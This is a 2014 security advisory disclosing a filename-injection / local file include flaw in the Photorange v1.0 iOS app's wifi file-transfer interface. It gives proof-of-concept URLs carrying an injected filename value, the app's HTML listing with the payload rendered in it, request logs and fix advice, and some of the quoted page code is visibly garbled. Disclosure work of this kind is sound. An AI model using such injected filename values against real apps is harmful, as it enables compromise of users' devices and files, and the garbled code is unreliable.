Photorange 1.0 iOS - Local File Inclusion








Document Title:
Photorange v1.0 iOS - File Include Web Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
The BEST and MOST Convenient Private Photo & Video & Docs App! Photorange provides a secure Password System to keep your 
secret files 100% private. Your files are ONLY stored on your device and we can never touch them. 

( Copy of the Vendor Homepage: )

Abstract Advisory Information:
The Vulnerability Laboratory discovered a local file include web vulnerability in the official Photorange v1.0 iOS mobile web-application.

Vulnerability Disclosure Timeline:
2014-09-08: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Jiajun Kuang
Product: Photorange - iOS Mobile Web Application 1.0

Exploitation Technique:

Severity Level:

Technical Details & Description:
A local file include web vulnerability has been discovered in the official Photorange v1.0 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or 
system specific path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `add file` module. Remote attackers are able to inject own files with 
malicious `filename` values in the `sync` device POST method request to compromise the mobile web-application. The local file/path include 
execution occcurs in the file dir index web interface through the download path next to the vulnerable name/path value. The attacker is able 
to inject the local file request by usage of the available `wifi interface` for file exchange via sync.

Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute 
different local malicious attack requests. The attack vector is on the application-side of the wifi service and the request method to 
inject is POST via Sync. 

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) 
count of 6.3. Exploitation of the local file include web vulnerability requires no privileged web-application user account but low 
user interaction. Successful exploitation of the local file include web vulnerability results in mobile application or connected 
device component compromise.

Request Method(s):
				[+] [Sync] [POST]

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Listing (Web Interface - http://localhost:9900/ )

Proof of Concept (PoC):
The local file include web vulnerability can be exploited by local attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: Exploit
http://localhost:9900/%3E%22%3E%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E.TXT
http://localhost:9900/Download/%3E%22%3E%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E.TXT

PoC: Web Interface - Index Dir Listing

        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>WiFi web access</title>
        </head>​​​​​<body><fontbase family="Arial,Verdana">
        <style type="text/css">
            a, div{
                font-family: Arial,Verdana;
            body {
                background-color: silver;
                position: relative;
                height: 100%;
            hr {
                height: 1px;
                border: none;
                border-top: 1px solid #DDDDDD;
            #content {
                background-color: white;
                border-style: dashed;
                border-color: silver;
                border-width: 1px;
                position: absolute;
                width: 98%;
                left: 10px;
                top: 10px;
                z-index: 333;
            .aImg {
                margin-left: 10px;
                margin-right: 10px;
                margin-top: 20px;
            /*.aFod {
                color: GrayText;
                text-decoration: none;
                width: 50px;
                height: 50px;
            #progress-bar-background {
                width: 100%;
                height: 100%;
                /*background:silver url('/Web/left.ico') no-repeat;*/
                background: silver;
                position: absolute; 
                cursor: pointer;
            #file-uploader-text {
                width: 155px; 
                height: 30px; 
                text-align: center; 
                line-height: 30px; 
                cursor: pointer;
            #file-uploader {
                width: 155px; 
                height: 30px;
                left: 18px;
                position: absolute; 
                top: 0; 
                opacity: 0;
                filter: alpha(opacity=0);
                cursor: pointer;
            #progress-bar-value {
                width: 0%;
                height: 100%;
                background: #2B90D3;
            .btnText {
                width: 155px; 
                height: 30px; 
                text-align: center; 
                line-height: 30px; 
                cursor: pointer;
                font-size: 13px;
                text-align: center;
                color: white;
            #submit-link {
                display: none;
                position: absolute;
                top: 7px;
                left: 200px;
            #stop-uploading-link {
                display: none;
                position: absolute;
                top: 7px;
                left: 200px;
        <link href="/Web/uploadify/uploadify.css" rel="stylesheet" type="text/css" media="screen">
        <script type="text/javascript" src="/Web/uploadify/jquery.min.js"></script>
        <script type="text/javascript" src="/Web/uploadify/jquery.uploadify.js"></script>
        <script language="javascript">
            var currentFolderPath = '/';
            var alertMessage = "null";
            var actionType = "Show";
            var submitting = false;
            var tipHiddenTop = -200;
            var tipShownTop = -80;
            var lastShownTipDate;
            if (alertMessage != "null") {
            function tippable() {
                var currentTop = document.getElementById("tip");
                currentTop = currentTop.substring(0, currentTop.length-2);
                currentTop = Number(currentTop);
                var not = ((currentTop > tipHiddenTop) && (currentTop < tipShownTop))
                return !not;
            function hideTip() {
                var tip = document.getElementById("tip");
       = tipHiddenTop;
            function showTip() {

                var tip = document.getElementById("tip");
       = tipShownTop;
                lastShownTipDate = new Date();
                setTimeout("if((new Date()).getTime()-lastShownTipDate.getTime()>=4900){hideTip();}", 5000);
            function aClickHandler(tag) {
                if (submitting) {
                if (actionType == "Show")
                    if (tag.className == "image") {
               = "hidden"; //禁止body滚动
                        var wrap = document.getElementById("wrap");
               = "block";
                        var src = "/" + actionType +;
                        wrap.innerHTML = "<iframe id='photo-viewer' src='" + src + "' style='position:absolute;width:100%;height:100%' frameborder='no' scrolling='no' allowtransparency='yes' />";
                    else {
                        if (!tippable()) {
                        document.getElementById("tip") = tipHiddenTop;
                        document.getElementById("tip-content").innerHTML = "Jetzt kann nur Bild im Browser gesehen werden.";
                else {
                    var download = "/" + actionType +;
                    location.href = download;
            function dClickHandler(tag) {
                if (submitting) {
                location.href =;
            function removePhotoViewer()
                var wrap = document.getElementById("wrap");
                wrap.innerHTML = "";
       = "none";
       = "auto";
            function setViewMode()
                var switchBg = document.getElementById("switch-bg");
                var __switch = document.getElementById("switch");
       = "silver";
       = "#2B90D3";
            function setDownloadMode()
                var switchBg = document.getElementById("switch-bg");
                var __switch = document.getElementById("switch");
       = "#2B90D3";
       = "silver";
            function switchMode() {
                if (!tippable()) {
                var ifInDownloadMode = (actionType == "Download");
                actionType = ifInDownloadMode ? "Show" : "Download";
                var ifInDownloadModeNow = !ifInDownloadMode;
                if (ifInDownloadModeNow)
                    document.getElementById("tip") = tipHiddenTop;
                    document.getElementById("tip-content").innerHTML = "Tipp: anklicken  irgend ein Daumennagel zum Herunterladen";
                else {
            $(document).ready(function () { 
                  height        : 30,
                  swf           : '/Web/uploadify/uploadify.swf',
                  uploader      : 'upload.html',
                  width         : 120,
                  onQueueComplete : function(queueData) {
                  buttonText    : "�berliefern",
                  onUploadStart : function(file) {
                    $.post("/setCurrent"+currentFolderPath, {}, function(data){}, "json");
                    $.post("/ifReachTheLimit/", {}, function(data){ $("#file-upload").uploadify('stop'); }, "json");
                document.getElementById("file-upload").style.left = "15px";
        <div id="tip" style="position:absolute; top:-200px; left:40%; z-index:2000">
            <img style="" src="/Web/tip.png">
            <div id="tip-content" style="position:absolute; left:0px; top:120px; z-index:2001; text-align:center; color:white; width:300px;">
                Tip: how to do
        <div id="content" onselectstart="return false;">
            <a href="/logout.html" style="float:right; margin:10px;">outloggen</a>
            <h1 style="margin-left:10px; font-weight:lighter;">WiFi web access</h1>
            <div id="buttons" style="position:relative; left:10px; height:60px;">
                <a href="/back.html" style="text-decoration:none; position:absolute; top:0; left:0;"><img src="/Web/back3.png" style="width:25px; height:25px; border:none; vertical-align:middle"> Oberverzeichnis [aktuell:/]</a>
                <div id="switch-bg" style="width:250px; height:30px; background:silver no-repeat; position:absolute; right:20px; text-align:right; line-height:30px; color:#E9E3E3; cursor:hand; bottom:-30; right:30px; padding-right:5px;" onclick="switchMode();">
                    <div id="switch" style="position:absolute; top:0; left:0; width:50%; height:100%; background:#2B90D3 no-repeat; text-align:left; padding-left:5px">
                <!--mode end-->
            <!--buttons end-->
            <div style="height: 30px; width: 120px; left: 15px;" class="uploadify" id="file-upload"><object style="position: absolute; z-index: 1;" id="SWFUpload_0" type="application/x-shockwave-flash" data="/Web/uploadify/uploadify.swf" class="swfupload" height="30" width="120"><param name="wmode" value="transparent"><param name="movie" value="/Web/uploadify/uploadify.swf"><param name="quality" value="high"><param name="menu" value="false"><param name="allowScriptAccess" value="always"><param name="flashvars" value="movieName=SWFUpload_0&uploadURL=%2Fupload.html&useQueryString=false&requeueOnError=false&httpSuccess=&assumeSuccessTimeout=30�ms=&filePostName=Filedata&fileTypes=*.*&fileTypesDescription=All%20Files&fileSizeLimit=0&fileUploadLimit=0&fileQueueLimit=999&debugEnabled=false&buttonImageURL=%2F&buttonWidth=120&buttonHeight=30&buttonText=&buttonTextTopPadding=0&buttonTextLeftPadding=0&buttonTextStyle=color%3A%20%23000000%3B%20font-size%3A%2016pt%3B&buttonAction=-110&buttonDisabled=false&buttonCursor=-2"></object><div style="height: 30px; line-height: 30px; width: 120px;" class="uploadify-button " id="file-upload-button"><span class="uploadify-button-text">�berliefern</span></div></div><div class="uploadify-queue" id="file-upload-queue"></div>
            <a href="#" name="/2.png" class="image" onclick="aClickHandler(this);"><img class="aImg" src="/2.png_THUMBNAIL" height="60px" width="60px"></a><a href="#" name="/2_43698027.png" class="image" onclick="aClickHandler(this);"><img class="aImg" src="/2_43698027.png_THUMBNAIL" height="60px" width="60px"></a><a href="#" name="/>"><./[LOCAL FILE INCLUDE VULNERABILITY!].TXT" class="document" onclick="aClickHandler(this);" style="position:relative; text-decoration:none;"><img class="aImg" style="" src="/Web/TXT0.png" height="60px" width="60px">​​​​​<div class="name" style="position:absolute; top:1px !important; top:65px; height:17px; left:10px !important; left:2px; width:60px; text-align:center; opacity:0.8; filter:alpha(opacity=80); color:black; font-size:10px; line-height:18px;z-index:2000;">>"><./[LOCAL FILE INCLUDE VULNERABILITY!].TXT</div></a><br/><br/><br/>
        <div id="wrap" style="background-color:black; top:0; left:0; width:100%; height:100%; position:absolute; z-index:1000; display:none;">
        <!--wrap end-->

--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://localhost:9900/Download/%3E%22%3E%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E.TXT Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Gr��e des Inhalts[17] Mime Type[application/download]
   Request Header:
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept-Encoding[gzip, deflate]
   Response Header:
      Content-Disposition[attachment; filename=%3E%22%3E%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E.TXT]
      Date[Sat, 06 Sep 2014 00:13:00 GMT]

Reference(s): Links

Solution - Fix & Patch:
The vulnerability can be pactehd by a secure parse and encode of the vulnerable filename value on sync or upload.
Filter and restrict the input to prevent further executions. Encode also the output name value listing in the index file dir module.

Security Risk:
The security risk of the local file include web vulnerability in the filename value of the mobile application is estimated as high.

Credits & Authors:
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ( []

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either 
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers 
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even 
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation 
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break 
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:   	-			       		-
Contact: 	- 	       		-
Section:	 	- 		       		-
Social:!/vuln_lab 		- 	       		-
Feeds:	-   		-
Programs:  	-	-

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
( or to get a permission.

				Copyright � 2014 | Vulnerability Laboratory [Evolution Security]